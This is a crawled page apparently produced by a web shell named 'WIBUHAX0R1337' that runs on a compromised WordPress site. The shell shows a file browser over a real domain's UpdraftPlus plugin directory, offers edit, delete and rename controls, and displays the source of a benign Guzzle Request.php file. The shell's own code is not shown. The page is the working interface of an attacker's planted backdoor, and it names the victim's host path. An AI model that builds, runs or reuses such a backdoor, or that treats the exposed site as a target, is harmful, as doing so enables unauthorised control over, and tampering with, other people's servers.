-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
updraftplus
/
vendor
/
guzzlehttp
/
psr7
/
src
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
AppendStream.php
5.633KB
Edit File
Delete File
Rename
BufferStream.php
3.007KB
Edit File
Delete File
Rename
CachingStream.php
4.346KB
Edit File
Delete File
Rename
DroppingStream.php
1.068KB
Edit File
Delete File
Rename
FnStream.php
3.865KB
Edit File
Delete File
Rename
Header.php
2.127KB
Edit File
Delete File
Rename
InflateStream.php
1.802KB
Edit File
Delete File
Rename
LazyOpenStream.php
0.879KB
Edit File
Delete File
Rename
LimitStream.php
4.126KB
Edit File
Delete File
Rename
Message.php
8.082KB
Edit File
Delete File
Rename
MessageTrait.php
7.672KB
Edit File
Delete File
Rename
MimeType.php
4.989KB
Edit File
Delete File
Rename
MultipartStream.php
4.657KB
Edit File
Delete File
Rename
NoSeekStream.php
0.429KB
Edit File
Delete File
Rename
PumpStream.php
3.988KB
Edit File
Delete File
Rename
Query.php
3.408KB
Edit File
Delete File
Rename
Request.php
3.632KB
Edit File
Delete File
Rename
Response.php
4.696KB
Edit File
Delete File
Rename
ServerRequest.php
9.621KB
Edit File
Delete File
Rename
Stream.php
6.65KB
Edit File
Delete File
Rename
StreamDecoratorTrait.php
3.214KB
Edit File
Delete File
Rename
StreamWrapper.php
3.69KB
Edit File
Delete File
Rename
UploadedFile.php
7.589KB
Edit File
Delete File
Rename
Uri.php
22.361KB
Edit File
Delete File
Rename
UriComparator.php
1.147KB
Edit File
Delete File
Rename
UriNormalizer.php
8.136KB
Edit File
Delete File
Rename
UriResolver.php
8.583KB
Edit File
Delete File
Rename
Utils.php
14.329KB
Edit File
Delete File
Rename
functions.php
13.095KB
Edit File
Delete File
Rename
functions_include.php
0.152KB
Edit File
Delete File
Rename
<?php namespace GuzzleHttp\Psr7; use InvalidArgumentException; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\StreamInterface; use Psr\Http\Message\UriInterface; /** * PSR-7 request implementation. */ class Request implements RequestInterface { use MessageTrait; /** @var string */ private $method; /** @var string|null */ private $requestTarget; /** @var UriInterface */ private $uri; /** * @param string $method HTTP method * @param string|UriInterface $uri URI * @param array $headers Request headers * @param string|resource|StreamInterface|null $body Request body * @param string $version Protocol version */ public function __construct( $method, $uri, array $headers = [], $body = null, $version = '1.1' ) { $this->assertMethod($method); if (!($uri instanceof UriInterface)) { $uri = new Uri($uri); } $this->method = strtoupper($method); $this->uri = $uri; $this->setHeaders($headers); $this->protocol = $version; if (!isset($this->headerNames['host'])) { $this->updateHostFromUri(); } if ($body !== '' && $body !== null) { $this->stream = Utils::streamFor($body); } } public function getRequestTarget() { if ($this->requestTarget !== null) { return $this->requestTarget; } $target = $this->uri->getPath(); if ($target == '') { $target = '/'; } if ($this->uri->getQuery() != '') { $target .= '?' . $this->uri->getQuery(); } return $target; } public function withRequestTarget($requestTarget) { if (preg_match('#\s#', $requestTarget)) { throw new InvalidArgumentException( 'Invalid request target provided; cannot contain whitespace' ); } $new = clone $this; $new->requestTarget = $requestTarget; return $new; } public function getMethod() { return $this->method; } public function withMethod($method) { $this->assertMethod($method); $new = clone $this; $new->method = strtoupper($method); return $new; } public function getUri() { return $this->uri; } public function withUri(UriInterface $uri, $preserveHost = false) { if ($uri === $this->uri) { return $this; } $new = clone $this; $new->uri = $uri; if (!$preserveHost || !isset($this->headerNames['host'])) { $new->updateHostFromUri(); } return $new; } private function updateHostFromUri() { $host = $this->uri->getHost(); if ($host == '') { return; } if (($port = $this->uri->getPort()) !== null) { $host .= ':' . $port; } if (isset($this->headerNames['host'])) { $header = $this->headerNames['host']; } else { $header = 'Host'; $this->headerNames['host'] = 'Host'; } // Ensure Host is the first header. // See: http://tools.ietf.org/html/rfc7230#section-5.4 $this->headers = [$header => [$host]] + $this->headers; } private function assertMethod($method) { if (!is_string($method) || $method === '') { throw new \InvalidArgumentException('Method must be a non-empty string.'); } } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat